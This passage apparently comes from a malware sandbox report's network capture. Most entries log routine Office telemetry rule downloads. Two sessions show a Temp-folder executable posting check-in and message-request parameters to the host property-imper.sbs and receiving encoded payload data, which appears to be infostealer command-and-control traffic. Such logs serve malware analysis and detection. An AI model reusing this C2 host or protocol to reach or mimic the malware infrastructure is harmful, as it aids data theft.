67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:28 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: f3939d66-c01e-00ad-3d3c-3ca2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102228Z-178bfbc474bnwsh4hC1NYC2ubs000000049000000000cnbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:28 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:28 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 8d96ff29-301e-0020-36b1-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102228Z-15b8b599d88g5tp8hC1TEByx6w00000002sg000000007mw3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49815	172.67.162.84	443	6244	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:30 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-23 10:22:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-23 10:22:31 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1j4tjnnp2a9v611lmcpg4u95h7; expires=Wed, 19-Mar-2025 04:09:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n8AQDRk0PUJVel%2By6Bp%2Bkmr6U6ggw4d8cBd%2FCegxR6Fbfd8BorsvNGoBTRJNLFg6wAOE5AUMNNZ9qAPYgqE5FYT%2BtQI5Xzxz%2BTipzO9pfJDyJRCzFNpAQph32hWNj%2B9RW80ROCc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e707040aeec4314-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1776&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1704611&cwnd=181&unsent_bytes=0&cid=38e7014f043b7a80&ts=850&x=0"
2024-11-23 10:22:31 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-23 10:22:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:30 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:30 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 93d7ba64-801e-002a-7fce-3b31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102230Z-15b8b599d889fz52hC1TEB59as00000002wg000000000hb9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:30 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:30 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:30 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: e2ff131b-f01e-0085-7676-3b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102230Z-174c587ffdfb485jhC1TEBmc1s00000002p0000000006by9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:30 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:30 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102230Z-174c587ffdfb5q56hC1TEB04kg00000002ug000000000t75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:31 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:30 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:30 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102230Z-178bfbc474b9xljthC1NYCtw94000000049g00000000458t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:31 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:30 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 10:22:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T102231Z-178bfbc474b7cbwqhC1NYC8z4n000000044000000000df0k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 10:22:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49821	172.67.162.84	443	6244	C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 10:22:32 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 10:22:32 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 10:22:33 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 10:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o2q3j69isb98v4jq0mg7nlpr9q; expires=Wed, 19-Mar-2025 04:09:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MdO7BcNEFKHmFD%2FlZ0YpiBlQMBsrWWlDQ0lA%2Fv7eMQqYr4EC4qwUi2dStRQVGf%2BKbtbIYDf87Uh5uQvDRXFkprsxLGB%2FkbfAUL2gdjgF0qaGMWALML5hgp7vSvt2y89wHm%2FOh38%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e70704e1cfd7c6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1889&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1584373&cwnd=182&unsent_bytes=0&cid=67810e059a7c4677&ts=751&x=0"
2024-11-23 10:22:33 UTC	352	IN	Data Raw: 34 64 62 0d 0a 35 63 48 37 33 4b 73 32 49 46 39 76 44 71 44 47 55 66 38 59 65 34 4c 75 77 34 45 66 76 75 38 6c 69 57 74 6e 79 4d 53 38 7a 65 57 65 34 34 33 2b 6b 51 49 4d 66 52 78 72 67 76 77 6c 6a 57 30 65 72 73 79 69 35 54 32 45 69 55 54 6c 47 41 4c 6b 35 73 71 67 78 39 2b 6e 6d 72 44 59 55 77 78 39 43 6e 61 43 2f 41 71 45 4f 68 37 73 7a 50 6d 6a 65 74 53 4e 52 4f 55 4a 42 71 4f 72 7a 4b 47 47 6a 61 32 63 74 4d 35 56 52 44 34 44 59 38 57 6a 4e 4a 35 79 46 65 75 44 71 2b 77 39 6b 73 31 41 38 30 6c 64 36 6f 6e 5a 75 59 53 6f 6f 49 69 33 69 55 73 4d 4a 45 31 72 7a 75 52 72 33 58 6b 65 34 49 4b 6c 35 58 54 57 68 30 33 74 43 41 4f 69 74 4e 57 72 6a 59 32 6a 6e 37 58 45 58 46 41 7a 43 57 54 4f 70 54 36 65 4f 6c 65 67 69 37 6d 6a 4a 5a 7a 65 64 65 67 59 46 4c Data Ascii: 4db5cH73Ks2IF9vDqDGUf8Ye4Luw4Efvu8liWtnyMS8zeWe443+kQIMfRxrgvwljW0ersyi5T2EiUTlGALk5sqgx9+nmrDYUwx9CnaC/AqEOh7szPmjetSNROUJBqOrzKGGja2ctM5VRD4DY8WjNJ5yFeuDq+w9ks1A80ld6onZuYSooIi3iUsMJE1rzuRr3Xke4IKl5XTWh03tCAOitNWrjY2jn7XEXFAzCWTOpT6eOlegi7mjJZzedegYFL
2024-11-23 10:22:33 UTC	898	IN	Data Raw: 49 57 55 49 76 42 57 66 4a 6f 53 47 57 63 78 54 74 6a 4b 7a 70 63 74 2b 4e 51 4f 45 44 43 71 43 69 30 36 4b 42 68 36 50 5a 38 49 6c 54 57 6e 31 56 4c 4f 47 68 49 35 70 32 44 36 4b 32 34 66 77 7a 78 63 31 41 35 30 6c 64 36 71 37 62 72 49 53 4d 72 4a 71 32 77 6b 5a 43 4c 77 74 68 78 37 59 31 6d 48 51 54 34 35 36 72 37 58 76 66 68 45 7a 69 44 41 4b 75 35 70 44 76 67 4a 2f 6a 77 66 37 6f 57 55 6b 78 42 33 76 43 35 43 7a 54 59 31 6e 6e 67 4f 47 37 50 64 69 4d 51 2b 6f 4e 43 36 53 69 30 71 6d 4a 69 71 79 66 74 4d 6c 54 53 44 55 46 62 63 2b 76 50 4a 31 2f 46 4f 53 4b 72 65 4a 34 6e 4d 4d 48 37 42 46 46 38 75 62 77 71 49 53 56 34 61 79 39 78 31 70 46 4b 30 31 7a 6a 4c 31 7a 6d 6e 5a 5a 75 4d 79 76 35 6e 4c 4f 6a 46 58 75 42 78 65 6d 6f 39 69 69 68 49 6d 6a 6e 4c Data Ascii: IWUIvBWfJoSGWcxTtjKzpct+NQOEDCqCi06KBh6PZ8IlTWn1VLOGhI5p2D6K24fwzxc1A50ld6q7brISMrJq2wkZCLwthx7Y1mHQT456r7XvfhEziDAKu5pDvgJ/jwf7oWUkxB3vC5CzTY1nngOG7PdiMQ+oNC6Si0qmJiqyftMlTSDUFbc+vPJ1/FOSKreJ4nMMH7BFF8ubwqISV4ay9x1pFK01zjL1zmnZZuMyv5nLOjFXuBxemo9iihImjnL
2024-11-23 10:22:33 UTC	1369	IN	Data Raw: 33 66 39 31 0d 0a 4e 57 55 30 30 42 47 58 51 72 6a 2b 54 61 42 54 71 69 61 2f 76 65 4e 4f 4e 52 75 6f 48 44 36 48 6d 6b 4f 2b 41 6e 2b 50 42 2f 75 5a 5a 55 69 38 48 5a 39 50 6d 42 70 35 30 46 2b 65 61 34 66 77 7a 78 63 31 41 35 30 6c 64 36 71 33 59 6f 34 75 48 70 59 75 77 78 6b 5a 49 4c 77 6c 69 78 71 67 39 6c 48 63 57 35 5a 36 6c 34 32 2f 64 69 45 44 6c 42 42 65 76 35 70 44 76 67 4a 2f 6a 77 66 37 7a 59 45 55 74 48 47 75 41 6b 54 43 54 64 42 37 32 7a 4c 36 74 5a 4a 79 4b 53 36 74 52 52 61 6d 71 30 36 61 43 69 4c 47 54 73 73 68 47 52 54 51 45 5a 73 4f 71 50 4a 5a 32 48 50 4b 48 72 75 74 79 33 59 42 4b 34 41 30 46 36 75 69 65 71 4a 2f 48 2b 39 6d 66 78 46 74 51 50 68 77 75 39 36 63 39 6b 33 30 50 6f 4a 50 76 2b 6a 33 62 67 51 65 7a 53 51 53 6d 71 74 2b 67 Data Ascii: 3f91NWU00BGXQrj+TaBTqia/veNONRuoHD6HmkO+An+PB/uZZUi8HZ9PmBp50F+ea4fwzxc1A50ld6q3Yo4uHpYuwxkZILwlixqg9lHcW5Z6l42/diEDlBBev5pDvgJ/jwf7zYEUtHGuAkTCTdB72zL6tZJyKS6tRRamq06aCiLGTsshGRTQEZsOqPJZ2HPKHruty3YBK4A0F6uieqJ/H+9mfxFtQPhwu96c9k30PoJPv+j3bgQezSQSmqt+g
2024-11-23 10:22:33 UTC	1369	IN	Data Raw: 36 31 77 6c 42 47 50 51 42 6e 7a 4b 6f 36 6b 58 49 56 35 35 36 73 35 6e 58 57 68 45 4c 6e 42 41 61 34 70 64 2f 76 79 63 65 6b 67 66 36 52 46 47 55 4f 4f 6b 2b 43 75 33 32 45 4f 68 37 73 7a 50 6d 6a 66 4e 53 4b 53 65 38 62 43 37 69 6f 32 61 2b 42 6a 36 75 65 73 73 64 61 55 44 55 4d 62 4d 79 72 4f 35 52 2b 47 4f 53 49 72 65 51 39 6b 73 31 41 38 30 6c 64 36 6f 37 64 74 5a 33 46 6a 5a 4b 2b 7a 6b 52 55 4a 6b 31 7a 6a 4c 31 7a 6d 6e 5a 5a 75 4d 79 6c 36 48 66 56 6a 6b 37 76 42 41 57 6a 71 64 65 6e 69 6f 2b 78 6d 4c 54 62 55 45 63 38 41 6d 62 47 72 44 2b 53 64 68 33 79 68 2b 47 74 50 64 75 56 42 37 4e 4a 4a 61 47 77 2f 62 32 56 78 37 7a 58 70 34 6c 54 54 6e 31 56 4c 4d 75 6f 4d 70 78 77 48 2b 75 4a 72 4f 4e 34 31 6f 70 4c 36 77 6b 47 72 4b 44 54 70 34 2b 4c 72 Data Ascii: 61wlBGPQBnzKo6kXIV556s5nXWhELnBAa4pd/vycekgf6RFGUOOk+Cu32EOh7szPmjfNSKSe8bC7io2a+Bj6uessdaUDUMbMyrO5R+GOSIreQ9ks1A80ld6o7dtZ3FjZK+zkRUJk1zjL1zmnZZuMyl6HfVjk7vBAWjqdenio+xmLTbUEc8AmbGrD+Sdh3yh+GtPduVB7NJJaGw/b2Vx7zXp4lTTn1VLMuoMpxwH+uJrON41opL6wkGrKDTp4+Lr
